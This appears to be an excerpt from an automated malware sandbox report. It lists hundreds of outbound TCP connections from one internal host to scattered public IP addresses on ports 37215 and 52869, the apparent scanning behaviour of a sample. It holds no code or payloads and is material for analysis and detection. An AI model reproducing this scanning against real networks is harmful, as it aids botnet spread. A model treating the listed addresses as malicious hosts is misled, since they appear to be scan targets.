Source: global traffic	TCP traffic: 192.168.2.15:58767 -> 197.57.193.59:37215
Source: global traffic	TCP traffic: 192.168.2.15:58767 -> 197.115.200.222:37215
Source: global traffic	TCP traffic: 192.168.2.15:58767 -> 149.205.10.158:37215
Source: global traffic	TCP traffic: 192.168.2.15:58767 -> 20.255.176.224:37215
Source: global traffic	TCP traffic: 192.168.2.15:58767 -> 197.238.161.20:37215
Source: global traffic	TCP traffic: 192.168.2.15:58767 -> 44.121.163.52:37215
Source: global traffic	TCP traffic: 192.168.2.15:58767 -> 157.149.230.36:37215
Source: global traffic	TCP traffic: 192.168.2.15:58767 -> 197.39.42.138:37215
Source: global traffic	TCP traffic: 192.168.2.15:58767 -> 157.66.206.67:37215
Source: global traffic	TCP traffic: 192.168.2.15:58767 -> 216.125.26.34:37215
Source: global traffic	TCP traffic: 192.168.2.15:58767 -> 197.202.153.125:37215
Source: global traffic	TCP traffic: 192.168.2.15:58767 -> 197.176.162.29:37215
Source: global traffic	TCP traffic: 192.168.2.15:58767 -> 157.136.199.255:37215
Source: global traffic	TCP traffic: 192.168.2.15:58767 -> 13.252.226.77:37215
Source: global traffic	TCP traffic: 192.168.2.15:58767 -> 197.182.32.204:37215
Source: global traffic	TCP traffic: 192.168.2.15:58767 -> 41.133.211.18:37215
Source: global traffic	TCP traffic: 192.168.2.15:58767 -> 157.178.175.186:37215
Source: global traffic	TCP traffic: 192.168.2.15:58767 -> 78.250.115.189:37215
Source: global traffic	TCP traffic: 192.168.2.15:58767 -> 157.176.38.133:37215
Source: global traffic	TCP traffic: 192.168.2.15:58767 -> 197.146.154.155:37215
Source: global traffic	TCP traffic: 192.168.2.15:58767 -> 41.218.65.16:37215
Source: global traffic	TCP traffic: 192.168.2.15:58767 -> 157.169.76.138:37215
Source: global traffic	TCP traffic: 192.168.2.15:58767 -> 197.20.220.200:37215
Source: global traffic	TCP traffic: 192.168.2.15:58767 -> 197.1.29.38:37215
Source: global traffic	TCP traffic: 192.168.2.15:58767 -> 182.92.42.223:37215
Source: global traffic	TCP traffic: 192.168.2.15:58767 -> 9.118.192.30:37215
Source: global traffic	TCP traffic: 192.168.2.15:58767 -> 41.162.253.225:37215
Source: global traffic	TCP traffic: 192.168.2.15:58767 -> 157.241.6.192:37215
Source: global traffic	TCP traffic: 192.168.2.15:58767 -> 197.89.116.170:37215
Source: global traffic	TCP traffic: 192.168.2.15:58767 -> 197.251.233.95:37215
Source: global traffic	TCP traffic: 192.168.2.15:58767 -> 41.101.127.58:37215
Source: global traffic	TCP traffic: 192.168.2.15:58767 -> 197.30.229.13:37215
Source: global traffic	TCP traffic: 192.168.2.15:58767 -> 157.16.29.198:37215
Source: global traffic	TCP traffic: 192.168.2.15:58767 -> 41.162.208.185:37215
Source: global traffic	TCP traffic: 192.168.2.15:58767 -> 197.140.115.187:37215
Source: global traffic	TCP traffic: 192.168.2.15:58767 -> 41.157.245.144:37215
Source: global traffic	TCP traffic: 192.168.2.15:58767 -> 197.233.147.184:37215
Source: global traffic	TCP traffic: 192.168.2.15:58767 -> 153.137.241.70:37215
Source: global traffic	TCP traffic: 192.168.2.15:58767 -> 41.106.243.14:37215
Source: global traffic	TCP traffic: 192.168.2.15:58767 -> 157.219.83.230:37215
Source: global traffic	TCP traffic: 192.168.2.15:58767 -> 41.99.38.42:37215
Source: global traffic	TCP traffic: 192.168.2.15:58767 -> 168.198.240.255:37215
Source: global traffic	TCP traffic: 192.168.2.15:58767 -> 197.246.166.200:37215
Source: global traffic	TCP traffic: 192.168.2.15:58767 -> 166.151.137.80:37215
Source: global traffic	TCP traffic: 192.168.2.15:58767 -> 157.104.229.164:37215
Source: global traffic	TCP traffic: 192.168.2.15:58767 -> 41.10.96.101:37215
Source: global traffic	TCP traffic: 192.168.2.15:58767 -> 197.219.149.250:37215
Source: global traffic	TCP traffic: 192.168.2.15:58767 -> 178.230.194.125:37215
Source: global traffic	TCP traffic: 192.168.2.15:58767 -> 111.61.149.252:37215
Source: global traffic	TCP traffic: 192.168.2.15:58767 -> 197.55.78.55:37215
Source: global traffic	TCP traffic: 192.168.2.15:58767 -> 157.248.175.173:37215
Source: global traffic	TCP traffic: 192.168.2.15:58767 -> 197.164.89.253:37215
Source: global traffic	TCP traffic: 192.168.2.15:58767 -> 157.42.101.14:37215
Source: global traffic	TCP traffic: 192.168.2.15:58767 -> 221.44.210.72:37215
Source: global traffic	TCP traffic: 192.168.2.15:58767 -> 157.39.249.198:37215
Source: global traffic	TCP traffic: 192.168.2.15:58767 -> 205.50.160.163:37215
Source: global traffic	TCP traffic: 192.168.2.15:58767 -> 197.143.76.23:37215
Source: global traffic	TCP traffic: 192.168.2.15:58767 -> 197.167.93.130:37215
Source: global traffic	TCP traffic: 192.168.2.15:58767 -> 157.173.171.152:37215
Source: global traffic	TCP traffic: 192.168.2.15:58767 -> 41.7.140.134:37215
Source: global traffic	TCP traffic: 192.168.2.15:58767 -> 197.79.113.139:37215
Source: global traffic	TCP traffic: 192.168.2.15:58767 -> 197.14.81.255:37215
Source: global traffic	TCP traffic: 192.168.2.15:58767 -> 197.162.71.183:37215
Source: global traffic	TCP traffic: 192.168.2.15:58767 -> 197.199.57.112:37215
Source: global traffic	TCP traffic: 192.168.2.15:58767 -> 57.196.110.109:37215
Source: global traffic	TCP traffic: 192.168.2.15:58767 -> 41.242.148.168:37215
Source: global traffic	TCP traffic: 192.168.2.15:58767 -> 197.210.73.76:37215
Source: global traffic	TCP traffic: 192.168.2.15:58767 -> 205.121.31.87:37215
Source: global traffic	TCP traffic: 192.168.2.15:58767 -> 41.174.190.33:37215
Source: global traffic	TCP traffic: 192.168.2.15:58767 -> 41.246.170.171:37215
Source: global traffic	TCP traffic: 192.168.2.15:58767 -> 41.244.25.122:37215
Source: global traffic	TCP traffic: 192.168.2.15:58767 -> 41.52.21.44:37215
Source: global traffic	TCP traffic: 192.168.2.15:58767 -> 197.55.86.176:37215
Source: global traffic	TCP traffic: 192.168.2.15:58767 -> 197.37.162.85:37215
Source: global traffic	TCP traffic: 192.168.2.15:58767 -> 41.98.162.18:37215
Source: global traffic	TCP traffic: 192.168.2.15:58767 -> 157.165.235.57:37215
Source: global traffic	TCP traffic: 192.168.2.15:58767 -> 157.222.177.45:37215
Source: global traffic	TCP traffic: 192.168.2.15:58767 -> 41.1.217.148:37215
Source: global traffic	TCP traffic: 192.168.2.15:58767 -> 184.222.40.221:37215
Source: global traffic	TCP traffic: 192.168.2.15:58767 -> 4.49.242.168:37215
Source: global traffic	TCP traffic: 192.168.2.15:58767 -> 193.168.188.87:37215
Source: global traffic	TCP traffic: 192.168.2.15:58767 -> 41.57.180.198:37215
Source: global traffic	TCP traffic: 192.168.2.15:58767 -> 197.213.153.141:37215
Source: global traffic	TCP traffic: 192.168.2.15:58767 -> 41.91.198.123:37215
Source: global traffic	TCP traffic: 192.168.2.15:58767 -> 157.70.57.191:37215
Source: global traffic	TCP traffic: 192.168.2.15:58767 -> 64.161.87.250:37215
Source: global traffic	TCP traffic: 192.168.2.15:58767 -> 41.160.200.207:37215
Source: global traffic	TCP traffic: 192.168.2.15:58767 -> 41.95.41.120:37215
Source: global traffic	TCP traffic: 192.168.2.15:58767 -> 67.53.114.65:37215
Source: global traffic	TCP traffic: 192.168.2.15:58767 -> 54.134.33.11:37215
Source: global traffic	TCP traffic: 192.168.2.15:58767 -> 41.30.145.239:37215
Source: global traffic	TCP traffic: 192.168.2.15:58767 -> 128.242.117.249:37215
Source: global traffic	TCP traffic: 192.168.2.15:58767 -> 157.162.123.109:37215
Source: global traffic	TCP traffic: 192.168.2.15:58767 -> 41.63.90.165:37215
Source: global traffic	TCP traffic: 192.168.2.15:58767 -> 69.184.161.116:37215
Source: global traffic	TCP traffic: 192.168.2.15:58767 -> 157.50.118.84:37215
Source: global traffic	TCP traffic: 192.168.2.15:58767 -> 157.86.230.135:37215
Source: global traffic	TCP traffic: 192.168.2.15:58767 -> 41.160.166.27:37215
Source: global traffic	TCP traffic: 192.168.2.15:58767 -> 164.17.49.215:37215
Source: global traffic	TCP traffic: 192.168.2.15:58767 -> 41.238.31.136:37215
Source: global traffic	TCP traffic: 192.168.2.15:58767 -> 223.170.119.134:37215
Source: global traffic	TCP traffic: 192.168.2.15:58767 -> 41.182.40.219:37215
Source: global traffic	TCP traffic: 192.168.2.15:58767 -> 157.190.1.139:37215
Source: global traffic	TCP traffic: 192.168.2.15:58767 -> 140.238.108.223:37215
Source: global traffic	TCP traffic: 192.168.2.15:58767 -> 157.36.31.158:37215
Source: global traffic	TCP traffic: 192.168.2.15:58767 -> 197.32.38.129:37215
Source: global traffic	TCP traffic: 192.168.2.15:58767 -> 41.74.238.245:37215
Source: global traffic	TCP traffic: 192.168.2.15:58767 -> 41.62.170.7:37215
Source: global traffic	TCP traffic: 192.168.2.15:58767 -> 157.83.157.193:37215
Source: global traffic	TCP traffic: 192.168.2.15:58767 -> 197.224.162.113:37215
Source: global traffic	TCP traffic: 192.168.2.15:58767 -> 157.231.228.120:37215
Source: global traffic	TCP traffic: 192.168.2.15:58767 -> 41.46.35.223:37215
Source: global traffic	TCP traffic: 192.168.2.15:58767 -> 170.219.73.31:37215
Source: global traffic	TCP traffic: 192.168.2.15:58767 -> 47.62.169.96:37215
Source: global traffic	TCP traffic: 192.168.2.15:58767 -> 41.211.198.240:37215
Source: global traffic	TCP traffic: 192.168.2.15:58767 -> 157.174.248.251:37215
Source: global traffic	TCP traffic: 192.168.2.15:58767 -> 157.155.184.46:37215
Source: global traffic	TCP traffic: 192.168.2.15:58767 -> 175.251.123.186:37215
Source: global traffic	TCP traffic: 192.168.2.15:58767 -> 197.30.201.248:37215
Source: global traffic	TCP traffic: 192.168.2.15:58767 -> 41.29.68.15:37215
Source: global traffic	TCP traffic: 192.168.2.15:58767 -> 53.208.221.28:37215
Source: global traffic	TCP traffic: 192.168.2.15:58767 -> 197.205.160.99:37215
Source: global traffic	TCP traffic: 192.168.2.15:58767 -> 41.210.197.36:37215
Source: global traffic	TCP traffic: 192.168.2.15:58767 -> 41.8.250.84:37215
Source: global traffic	TCP traffic: 192.168.2.15:58767 -> 41.225.135.170:37215
Source: global traffic	TCP traffic: 192.168.2.15:58767 -> 144.85.64.233:37215
Source: global traffic	TCP traffic: 192.168.2.15:58767 -> 133.236.123.161:37215
Source: global traffic	TCP traffic: 192.168.2.15:58767 -> 157.61.187.214:37215
Source: global traffic	TCP traffic: 192.168.2.15:58767 -> 157.236.94.127:37215
Source: global traffic	TCP traffic: 192.168.2.15:58767 -> 81.7.136.58:37215
Source: global traffic	TCP traffic: 192.168.2.15:58767 -> 157.176.210.11:37215
Source: global traffic	TCP traffic: 192.168.2.15:58767 -> 41.89.36.24:37215
Source: global traffic	TCP traffic: 192.168.2.15:58767 -> 14.66.203.138:37215
Source: global traffic	TCP traffic: 192.168.2.15:58767 -> 65.120.250.13:37215
Source: global traffic	TCP traffic: 192.168.2.15:58767 -> 41.233.79.117:37215
Source: global traffic	TCP traffic: 192.168.2.15:58771 -> 87.147.33.140:52869
Source: global traffic	TCP traffic: 192.168.2.15:58771 -> 112.183.31.205:52869
Source: global traffic	TCP traffic: 192.168.2.15:58771 -> 119.87.220.235:52869
Source: global traffic	TCP traffic: 192.168.2.15:58767 -> 197.226.228.189:37215
Source: global traffic	TCP traffic: 192.168.2.15:58767 -> 41.103.136.234:37215
Source: global traffic	TCP traffic: 192.168.2.15:58771 -> 19.2.120.96:52869
Source: global traffic	TCP traffic: 192.168.2.15:58771 -> 175.109.109.84:52869
Source: global traffic	TCP traffic: 192.168.2.15:58767 -> 157.230.78.164:37215
Source: global traffic	TCP traffic: 192.168.2.15:58767 -> 197.136.106.52:37215
Source: global traffic	TCP traffic: 192.168.2.15:58767 -> 41.123.206.73:37215
Source: global traffic	TCP traffic: 192.168.2.15:58767 -> 41.152.10.195:37215
Source: global traffic	TCP traffic: 192.168.2.15:58767 -> 197.58.251.46:37215
Source: global traffic	TCP traffic: 192.168.2.15:58767 -> 157.131.188.191:37215
Source: global traffic	TCP traffic: 192.168.2.15:58767 -> 41.140.181.240:37215
Source: global traffic	TCP traffic: 192.168.2.15:58767 -> 41.177.116.18:37215
Source: global traffic	TCP traffic: 192.168.2.15:58767 -> 157.89.121.43:37215
Source: global traffic	TCP traffic: 192.168.2.15:58767 -> 14.62.43.62:37215
Source: global traffic	TCP traffic: 192.168.2.15:58767 -> 115.19.25.169:37215
Source: global traffic	TCP traffic: 192.168.2.15:58767 -> 157.76.73.5:37215
Source: global traffic	TCP traffic: 192.168.2.15:58767 -> 41.198.155.196:37215
Source: global traffic	TCP traffic: 192.168.2.15:58767 -> 41.95.14.253:37215
Source: global traffic	TCP traffic: 192.168.2.15:58767 -> 211.150.213.32:37215
Source: global traffic	TCP traffic: 192.168.2.15:58767 -> 197.181.244.208:37215
Source: global traffic	TCP traffic: 192.168.2.15:58767 -> 197.243.62.202:37215
Source: global traffic	TCP traffic: 192.168.2.15:58767 -> 187.14.16.38:37215
Source: global traffic	TCP traffic: 192.168.2.15:58767 -> 157.145.75.170:37215
Source: global traffic	TCP traffic: 192.168.2.15:58767 -> 158.185.201.45:37215
Source: global traffic	TCP traffic: 192.168.2.15:58767 -> 41.31.78.156:37215
Source: global traffic	TCP traffic: 192.168.2.15:58767 -> 41.170.243.134:37215
Source: global traffic	TCP traffic: 192.168.2.15:58767 -> 13.221.240.83:37215
Source: global traffic	TCP traffic: 192.168.2.15:58767 -> 157.240.145.204:37215
Source: global traffic	TCP traffic: 192.168.2.15:58767 -> 41.181.37.56:37215
Source: global traffic	TCP traffic: 192.168.2.15:58767 -> 41.26.207.111:37215
Source: global traffic	TCP traffic: 192.168.2.15:58767 -> 41.146.194.138:37215
Source: global traffic	TCP traffic: 192.168.2.15:58767 -> 157.195.132.76:37215
Source: global traffic	TCP traffic: 192.168.2.15:58767 -> 41.205.132.40:37215
Source: global traffic	TCP traffic: 192.168.2.15:58771 -> 114.147.236.150:52869
Source: global traffic	TCP traffic: 192.168.2.15:58771 -> 219.152.75.176:52869
Source: global traffic	TCP traffic: 192.168.2.15:58771 -> 17.198.192.63:52869
Source: global traffic	TCP traffic: 192.168.2.15:58771 -> 5.162.60.136:52869
Source: global traffic	TCP traffic: 192.168.2.15:58771 -> 220.55.101.199:52869
Source: global traffic	TCP traffic: 192.168.2.15:58771 -> 24.231.54.99:52869
Source: global traffic	TCP traffic: 192.168.2.15:58767 -> 116.138.138.226:37215
Source: global traffic	TCP traffic: 192.168.2.15:58767 -> 117.238.162.201:37215
Source: global traffic	TCP traffic: 192.168.2.15:58767 -> 41.158.40.220:37215
Source: global traffic	TCP traffic: 192.168.2.15:58767 -> 41.230.50.79:37215
Source: global traffic	TCP traffic: 192.168.2.15:58767 -> 41.151.166.61:37215
Source: global traffic	TCP traffic: 192.168.2.15:58767 -> 49.223.157.49:37215
Source: global traffic	TCP traffic: 192.168.2.15:58767 -> 41.180.153.162:37215
Source: global traffic	TCP traffic: 192.168.2.15:58767 -> 197.40.81.92:37215
Source: global traffic	TCP traffic: 192.168.2.15:58767 -> 157.88.156.88:37215
Source: global traffic	TCP traffic: 192.168.2.15:58767 -> 41.21.7.132:37215
Source: global traffic	TCP traffic: 192.168.2.15:58767 -> 41.200.3.16:37215
Source: global traffic	TCP traffic: 192.168.2.15:58767 -> 157.106.18.30:37215
Source: global traffic	TCP traffic: 192.168.2.15:58767 -> 157.182.237.139:37215
Source: global traffic	TCP traffic: 192.168.2.15:58767 -> 39.147.126.15:37215
Source: global traffic	TCP traffic: 192.168.2.15:58767 -> 197.187.16.96:37215
Source: global traffic	TCP traffic: 192.168.2.15:58771 -> 154.64.3.25:52869
Source: global traffic	TCP traffic: 192.168.2.15:58771 -> 183.79.5.78:52869
Source: global traffic	TCP traffic: 192.168.2.15:58771 -> 157.142.69.44:52869
Source: global traffic	TCP traffic: 192.168.2.15:58771 -> 220.239.248.79:52869
Source: global traffic	TCP traffic: 192.168.2.15:58771 -> 89.171.240.248:52869
Source: global traffic	TCP traffic: 192.168.2.15:58771 -> 61.146.90.23:52869
Source: global traffic	TCP traffic: 192.168.2.15:58771 -> 155.186.2.88:52869
Source: global traffic	TCP traffic: 192.168.2.15:58771 -> 65.58.210.176:52869
Source: global traffic	TCP traffic: 192.168.2.15:58771 -> 212.22.178.123:52869
Source: global traffic	TCP traffic: 192.168.2.15:58771 -> 61.53.244.138:52869
Source: global traffic	TCP traffic: 192.168.2.15:58771 -> 166.78.169.15:52869
Source: global traffic	TCP traffic: 192.168.2.15:58771 -> 73.163.96.192:52869
Source: global traffic	TCP traffic: 192.168.2.15:58771 -> 23.180.240.118:52869
Source: global traffic	TCP traffic: 192.168.2.15:58771 -> 17.96.206.10:52869
Source: global traffic	TCP traffic: 192.168.2.15:58771 -> 131.159.98.164:52869
Source: global traffic	TCP traffic: 192.168.2.15:58771 -> 125.46.245.158:52869
Source: global traffic	TCP traffic: 192.168.2.15:58771 -> 91.122.92.170:52869
Source: global traffic	TCP traffic: 192.168.2.15:58771 -> 72.244.52.162:52869
Source: global traffic	TCP traffic: 192.168.2.15:58771 -> 134.192.167.73:52869
Source: global traffic	TCP traffic: 192.168.2.15:58771 -> 204.13.73.202:52869
Source: global traffic	TCP traffic: 192.168.2.15:58771 -> 85.126.23.91:52869
Source: global traffic	TCP traffic: 192.168.2.15:58767 -> 197.241.179.83:37215
Source: global traffic	TCP traffic: 192.168.2.15:58767 -> 41.130.45.123:37215
Source: global traffic	TCP traffic: 192.168.2.15:58767 -> 157.189.253.66:37215
Source: global traffic	TCP traffic: 192.168.2.15:58767 -> 41.104.27.228:37215
Source: global traffic	TCP traffic: 192.168.2.15:58767 -> 212.65.201.133:37215
Source: global traffic	TCP traffic: 192.168.2.15:58767 -> 197.128.55.116:37215
Source: global traffic	TCP traffic: 192.168.2.15:58767 -> 197.217.179.129:37215
Source: global traffic	TCP traffic: 192.168.2.15:58767 -> 41.25.90.147:37215
Source: global traffic	TCP traffic: 192.168.2.15:58771 -> 197.208.47.186:52869
Source: global traffic	TCP traffic: 192.168.2.15:58771 -> 32.169.224.65:52869
Source: global traffic	TCP traffic: 192.168.2.15:58771 -> 208.102.27.6:52869
Source: global traffic	TCP traffic: 192.168.2.15:58771 -> 102.119.6.178:52869
Source: global traffic	TCP traffic: 192.168.2.15:58771 -> 143.77.32.144:52869
Source: global traffic	TCP traffic: 192.168.2.15:58771 -> 211.42.169.91:52869
Source: global traffic	TCP traffic: 192.168.2.15:58771 -> 37.21.17.204:52869
Source: global traffic	TCP traffic: 192.168.2.15:58771 -> 23.244.107.142:52869
Source: global traffic	TCP traffic: 192.168.2.15:58771 -> 191.96.230.47:52869
Source: global traffic	TCP traffic: 192.168.2.15:58771 -> 77.64.253.97:52869
Source: global traffic	TCP traffic: 192.168.2.15:58771 -> 67.65.153.119:52869
Source: global traffic	TCP traffic: 192.168.2.15:58771 -> 104.126.44.136:52869
Source: global traffic	TCP traffic: 192.168.2.15:58771 -> 91.159.64.203:52869
Source: global traffic	TCP traffic: 192.168.2.15:58771 -> 162.144.96.77:52869
Source: global traffic	TCP traffic: 192.168.2.15:58771 -> 113.59.43.68:52869
Source: global traffic	TCP traffic: 192.168.2.15:58771 -> 185.59.206.11:52869
Source: global traffic	TCP traffic: 192.168.2.15:58767 -> 148.185.232.135:37215
Source: global traffic	TCP traffic: 192.168.2.15:58771 -> 134.116.6.133:52869
Source: global traffic	TCP traffic: 192.168.2.15:58771 -> 189.107.255.223:52869
Source: global traffic	TCP traffic: 192.168.2.15:58771 -> 108.128.208.18:52869
Source: global traffic	TCP traffic: 192.168.2.15:58771 -> 69.210.2.130:52869
Source: global traffic	TCP traffic: 192.168.2.15:58771 -> 32.52.148.97:52869
Source: global traffic	TCP traffic: 192.168.2.15:58771 -> 133.58.253.32:52869
Source: global traffic	TCP traffic: 192.168.2.15:58771 -> 4.171.174.134:52869
Source: global traffic	TCP traffic: 192.168.2.15:58767 -> 41.252.210.111:37215
Source: global traffic	TCP traffic: 192.168.2.15:58767 -> 197.3.124.39:37215
Source: global traffic	TCP traffic: 192.168.2.15:58771 -> 150.90.198.65:52869
Source: global traffic	TCP traffic: 192.168.2.15:58771 -> 108.32.18.249:52869
Source: global traffic	TCP traffic: 192.168.2.15:58771 -> 194.68.40.197:52869
Source: global traffic	TCP traffic: 192.168.2.15:58771 -> 141.212.120.142:52869
Source: global traffic	TCP traffic: 192.168.2.15:58771 -> 207.9.57.249:52869
Source: global traffic	TCP traffic: 192.168.2.15:58771 -> 123.148.203.234:52869
Source: global traffic	TCP traffic: 192.168.2.15:58767 -> 41.112.222.122:37215
Source: global traffic	TCP traffic: 192.168.2.15:58767 -> 41.107.147.117:37215
Source: global traffic	TCP traffic: 192.168.2.15:58771 -> 222.31.20.54:52869
Source: global traffic	TCP traffic: 192.168.2.15:58771 -> 137.22.60.132:52869
Source: global traffic	TCP traffic: 192.168.2.15:58771 -> 169.202.203.38:52869
Source: global traffic	TCP traffic: 192.168.2.15:58771 -> 42.168.198.14:52869
Source: global traffic	TCP traffic: 192.168.2.15:58771 -> 43.180.110.172:52869
Source: global traffic	TCP traffic: 192.168.2.15:58771 -> 185.42.186.101:52869
Source: global traffic	TCP traffic: 192.168.2.15:58767 -> 41.67.127.254:37215
Source: global traffic	TCP traffic: 192.168.2.15:58771 -> 80.66.53.41:52869
Source: global traffic	TCP traffic: 192.168.2.15:58771 -> 210.2.46.1:52869
Source: global traffic	TCP traffic: 192.168.2.15:58771 -> 13.3.106.56:52869
Source: global traffic	TCP traffic: 192.168.2.15:58771 -> 166.167.121.109:52869
Source: global traffic	TCP traffic: 192.168.2.15:58771 -> 34.189.32.48:52869
Source: global traffic	TCP traffic: 192.168.2.15:58771 -> 104.26.73.87:52869
Source: global traffic	TCP traffic: 192.168.2.15:58771 -> 76.130.133.120:52869
Source: global traffic	TCP traffic: 192.168.2.15:58771 -> 4.232.226.241:52869
Source: global traffic	TCP traffic: 192.168.2.15:58771 -> 217.58.36.234:52869
Source: global traffic	TCP traffic: 192.168.2.15:58771 -> 44.227.239.111:52869
Source: global traffic	TCP traffic: 192.168.2.15:58771 -> 8.28.61.99:52869
Source: global traffic	TCP traffic: 192.168.2.15:58771 -> 107.205.165.229:52869
Source: global traffic	TCP traffic: 192.168.2.15:58771 -> 73.203.24.52:52869
Source: global traffic	TCP traffic: 192.168.2.15:58771 -> 194.217.196.209:52869
Source: global traffic	TCP traffic: 192.168.2.15:58771 -> 102.181.59.60:52869
Source: global traffic	TCP traffic: 192.168.2.15:58771 -> 209.99.231.53:52869
Source: global traffic	TCP traffic: 192.168.2.15:58771 -> 8.126.91.237:52869
Source: global traffic	TCP traffic: 192.168.2.15:58771 -> 1.160.86.11:52869
Source: global traffic	TCP traffic: 192.168.2.15:58771 -> 18.50.207.232:52869
Source: global traffic	TCP traffic: 192.168.2.15:58771 -> 116.118.210.76:52869
Source: global traffic	TCP traffic: 192.168.2.15:58771 -> 206.49.109.215:52869
Source: global traffic	TCP traffic: 192.168.2.15:58771 -> 203.62.78.235:52869
Source: global traffic	TCP traffic: 192.168.2.15:58771 -> 90.4.66.163:52869
Source: global traffic	TCP traffic: 192.168.2.15:58771 -> 14.134.150.109:52869
Source: global traffic	TCP traffic: 192.168.2.15:58771 -> 217.115.151.81:52869
Source: global traffic	TCP traffic: 192.168.2.15:58771 -> 189.209.128.109:52869
Source: global traffic	TCP traffic: 192.168.2.15:58771 -> 223.10.231.163:52869
Source: global traffic	TCP traffic: 192.168.2.15:58771 -> 120.127.21.138:52869
Source: global traffic	TCP traffic: 192.168.2.15:58771 -> 203.39.100.182:52869
Source: global traffic	TCP traffic: 192.168.2.15:58771 -> 187.182.235.57:52869
Source: global traffic	TCP traffic: 192.168.2.15:58771 -> 64.61.109.158:52869
Source: global traffic	TCP traffic: 192.168.2.15:58767 -> 105.106.159.132:37215
Source: global traffic	TCP traffic: 192.168.2.15:58767 -> 197.40.163.156:37215
Source: global traffic	TCP traffic: 192.168.2.15:58771 -> 109.51.3.47:52869
Source: global traffic	TCP traffic: 192.168.2.15:58771 -> 222.46.101.20:52869
Source: global traffic	TCP traffic: 192.168.2.15:58771 -> 221.199.80.98:52869
Source: global traffic	TCP traffic: 192.168.2.15:58771 -> 69.180.130.69:52869
Source: global traffic	TCP traffic: 192.168.2.15:58771 -> 219.139.149.184:52869
Source: global traffic	TCP traffic: 192.168.2.15:58771 -> 200.49.63.41:52869
Source: global traffic	TCP traffic: 192.168.2.15:58771 -> 126.171.98.117:52869
Source: global traffic	TCP traffic: 192.168.2.15:58771 -> 169.249.196.201:52869
Source: global traffic	TCP traffic: 192.168.2.15:58771 -> 96.224.29.242:52869
Source: global traffic	TCP traffic: 192.168.2.15:58771 -> 178.153.143.199:52869
Source: global traffic	TCP traffic: 192.168.2.15:58771 -> 98.104.159.185:52869
Source: global traffic	TCP traffic: 192.168.2.15:58771 -> 220.22.203.56:52869
Source: global traffic	TCP traffic: 192.168.2.15:58771 -> 220.40.202.173:52869
Source: global traffic	TCP traffic: 192.168.2.15:58771 -> 167.220.250.25:52869
Source: global traffic	TCP traffic: 192.168.2.15:58771 -> 151.94.173.235:52869
Source: global traffic	TCP traffic: 192.168.2.15:58771 -> 65.211.208.187:52869
Source: global traffic	TCP traffic: 192.168.2.15:58771 -> 89.186.152.105:52869
Source: global traffic	TCP traffic: 192.168.2.15:58771 -> 152.242.221.75:52869
Source: global traffic	TCP traffic: 192.168.2.15:58771 -> 167.160.225.22:52869
Source: global traffic	TCP traffic: 192.168.2.15:58771 -> 42.107.58.224:52869
Source: global traffic	TCP traffic: 192.168.2.15:58771 -> 70.131.186.243:52869
Source: global traffic	TCP traffic: 192.168.2.15:58771 -> 76.61.81.150:52869
Source: global traffic	TCP traffic: 192.168.2.15:58771 -> 23.97.92.59:52869
Source: global traffic	TCP traffic: 192.168.2.15:58771 -> 219.42.160.166:52869
Source: global traffic	TCP traffic: 192.168.2.15:58771 -> 48.184.172.188:52869
Source: global traffic	TCP traffic: 192.168.2.15:58771 -> 124.57.216.2:52869
Source: global traffic	TCP traffic: 192.168.2.15:58771 -> 147.233.164.121:52869
Source: global traffic	TCP traffic: 192.168.2.15:58771 -> 124.125.61.227:52869
Source: global traffic	TCP traffic: 192.168.2.15:58771 -> 176.103.253.245:52869
Source: global traffic	TCP traffic: 192.168.2.15:58771 -> 181.158.171.115:52869
Source: global traffic	TCP traffic: 192.168.2.15:58771 -> 17.44.72.124:52869
Source: global traffic	TCP traffic: 192.168.2.15:58771 -> 54.0.148.57:52869
Source: global traffic	TCP traffic: 192.168.2.15:58771 -> 144.192.176.221:52869
Source: global traffic	TCP traffic: 192.168.2.15:58771 -> 63.234.155.58:52869
Source: global traffic	TCP traffic: 192.168.2.15:58771 -> 8.13.166.77:52869
Source: global traffic	TCP traffic: 192.168.2.15:58771 -> 79.202.89.220:52869
Source: global traffic	TCP traffic: 192.168.2.15:58771 -> 194.150.117.215:52869
Source: global traffic	TCP traffic: 192.168.2.15:58771 -> 100.55.228.242:52869
Source: global traffic	TCP traffic: 192.168.2.15:58771 -> 38.223.65.23:52869
Source: global traffic	TCP traffic: 192.168.2.15:58771 -> 190.238.233.207:52869
Source: global traffic	TCP traffic: 192.168.2.15:58771 -> 1.32.242.196:52869
Source: global traffic	TCP traffic: 192.168.2.15:58771 -> 24.17.203.20:52869
Source: global traffic	TCP traffic: 192.168.2.15:58771 -> 183.130.244.237:52869
Source: global traffic	TCP traffic: 192.168.2.15:58771 -> 145.111.4.137:52869
Source: global traffic	TCP traffic: 192.168.2.15:58771 -> 217.237.199.3:52869
Source: global traffic	TCP traffic: 192.168.2.15:58771 -> 212.133.96.48:52869
Source: global traffic	TCP traffic: 192.168.2.15:58771 -> 72.159.107.10:52869
Source: global traffic	TCP traffic: 192.168.2.15:58771 -> 75.60.30.154:52869
Source: global traffic	TCP traffic: 192.168.2.15:58771 -> 49.212.116.121:52869
Source: global traffic	TCP traffic: 192.168.2.15:58771 -> 137.84.76.206:52869
Source: global traffic	TCP traffic: 192.168.2.15:58771 -> 51.12.233.231:52869
Source: global traffic	TCP traffic: 192.168.2.15:58771 -> 162.60.11.158:52869
Source: global traffic	TCP traffic: 192.168.2.15:58771 -> 186.129.157.195:52869
Source: global traffic	TCP traffic: 192.168.2.15:58771 -> 119.21.137.207:52869
Source: global traffic	TCP traffic: 192.168.2.15:58771 -> 105.10.122.148:52869
Source: global traffic	TCP traffic: 192.168.2.15:58771 -> 112.171.32.27:52869
Source: global traffic	TCP traffic: 192.168.2.15:58771 -> 185.4.47.118:52869
Source: global traffic	TCP traffic: 192.168.2.15:58771 -> 207.232.232.206:52869
Source: global traffic	TCP traffic: 192.168.2.15:58771 -> 72.136.138.195:52869
Source: global traffic	TCP traffic: 192.168.2.15:58771 -> 107.78.184.138:52869
Source: global traffic	TCP traffic: 192.168.2.15:58771 -> 14.5.198.143:52869
Source: global traffic	TCP traffic: 192.168.2.15:58771 -> 17.56.233.224:52869
Source: global traffic	TCP traffic: 192.168.2.15:58771 -> 166.111.68.44:52869
Source: global traffic	TCP traffic: 192.168.2.15:58771 -> 63.177.144.208:52869
Source: global traffic	TCP traffic: 192.168.2.15:58771 -> 143.142.220.237:52869
Source: global traffic	TCP traffic: 192.168.2.15:58771 -> 32.86.217.49:52869
Source: global traffic	TCP traffic: 192.168.2.15:58771 -> 100.204.109.67:52869
Source: global traffic	TCP traffic: 192.168.2.15:58771 -> 135.55.218.158:52869
Source: global traffic	TCP traffic: 192.168.2.15:58771 -> 34.192.183.244:52869
Source: global traffic	TCP traffic: 192.168.2.15:58771 -> 203.117.166.218:52869
